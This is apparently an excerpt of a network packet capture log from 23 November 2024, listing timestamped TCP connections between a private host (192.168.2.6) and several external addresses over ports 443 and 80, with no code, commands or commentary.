Nov 23, 2024 09:16:54.647919893 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.657303095 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.657332897 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.657402992 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.657412052 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.657603025 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.661422014 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.661495924 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.661504030 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.665543079 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.665564060 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.665612936 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.665630102 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.670864105 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.670893908 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.670927048 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.670936108 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.670974016 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.675013065 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.675118923 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.675127029 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.682595968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.684524059 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.684555054 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.684593916 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.684603930 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.684633970 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.689178944 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.689301014 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.689311028 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.695734978 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.695758104 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.695820093 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.695832968 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.695883036 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.698096991 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.698120117 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.698163033 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.698191881 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.698210001 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.698317051 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.698690891 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.698724031 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.698765039 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.698771000 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.698800087 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.702773094 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.702884912 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.702893972 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.704057932 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.704113007 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.704134941 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.704196930 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.704346895 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.704353094 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.704382896 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.708276033 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.708340883 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.708357096 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.708404064 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.709496021 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.709521055 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.720195055 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.726528883 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.726546049 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.726614952 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.726639986 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.726713896 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.747555971 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.747570992 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.747634888 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.747644901 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.747721910 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.756751060 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.756766081 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.756788969 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.756798029 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.756846905 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.756860018 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.756895065 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.756910086 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.759742022 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.759752035 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.759816885 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.759824991 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.765718937 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.765738964 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.765796900 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.765821934 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.765835047 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.765913963 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.767165899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.767189026 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.767292976 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.767307043 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.769876957 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.769963026 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.769968987 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.777494907 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.777523041 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.777579069 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.777586937 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.777625084 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.780635118 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.781091928 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.781109095 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.787671089 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.787705898 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.787806988 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.787806988 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.787827015 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.790246964 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.790347099 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.790359020 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.796120882 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.796149015 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.796241045 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.796241045 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.796248913 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.798840046 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.798950911 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.798958063 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.802038908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.847341061 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.901050091 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.901068926 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.901149988 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.901171923 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.901206970 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.917593002 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.917608976 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.917700052 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.917716026 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.917748928 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.932986021 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.933005095 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.933082104 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.933093071 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.933125973 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.948345900 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.948362112 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.948431015 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.948441982 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.948472977 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.964884996 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.964905024 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.964975119 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.964984894 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.965020895 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.967698097 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.967715979 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.967740059 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.967833996 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.967833996 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.967849016 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.967901945 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.971050978 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.971183062 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.971190929 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.976135015 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.976164103 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.976243973 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.976249933 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.976263046 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.978710890 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.978807926 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.978815079 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.983782053 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.983824968 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.983869076 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.983875036 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.983936071 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.990525007 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.990551949 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.990606070 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.990612030 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.990645885 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.995340109 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.995368958 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.995413065 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.995419979 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.995477915 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.001040936 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.001066923 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.001143932 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.001151085 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.020939112 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.020973921 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.021034002 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.021043062 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.021117926 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.062356949 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.114332914 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.114366055 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.114459038 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.114485025 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.115643978 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.128827095 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.128850937 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.128906012 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.128920078 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.128957033 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.143474102 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.143501997 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.143578053 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.143588066 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.143620968 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.148650885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.148720026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.148816109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.148855925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.148968935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.149139881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.149179935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.150084972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.150145054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.150149107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.150185108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.151125908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.151586056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.151807070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.151849985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.152208090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.152471066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.152513981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.153419018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.153476954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.153536081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.153620958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.154509068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.154558897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.155035019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.155076981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.155524969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.155570030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.155870914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.155936956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.156122923 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.156152964 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.156224012 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.156232119 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.156657934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.156702042 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.157238007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.157260895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.157376051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.157742977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.157780886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.158085108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.158153057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.158842087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.159121037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.159164906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.159933090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.160212040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.160257101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.161022902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.161067009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.162173033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.162184954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.162197113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.162213087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.162240028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.163263083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.163362026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.163428068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.164381981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.164483070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.164498091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.164551973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.165529013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.165594101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.166440010 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.166605949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.166619062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.166646957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.166680098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.167675972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.167687893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.167742014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.168759108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.168965101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.169044018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.169661045 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.169683933 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.169734955 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.169748068 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.169766903 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.169790030 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.169907093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.169919968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.169964075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.170967102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.171025991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.171286106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.171446085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.172060013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.172657967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.172719002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.173166990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.173213005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.173798084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.173849106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.174256086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.174309015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.175415039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.175427914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.175440073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.175477982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.175506115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.176476955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.176518917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.176675081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.177313089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.177697897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.177817106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.178217888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.178258896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.178591967 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.178613901 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.178634882 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.178663015 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.178679943 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.178706884 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.178726912 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.178730011 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.178822994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.178834915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.178890944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.179831028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.179843903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.179882050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.179898977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.181035042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.181088924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.181116104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.181659937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.182022095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.182034969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.182074070 CET	49816	80	192.168.2.6	185.215.113.206
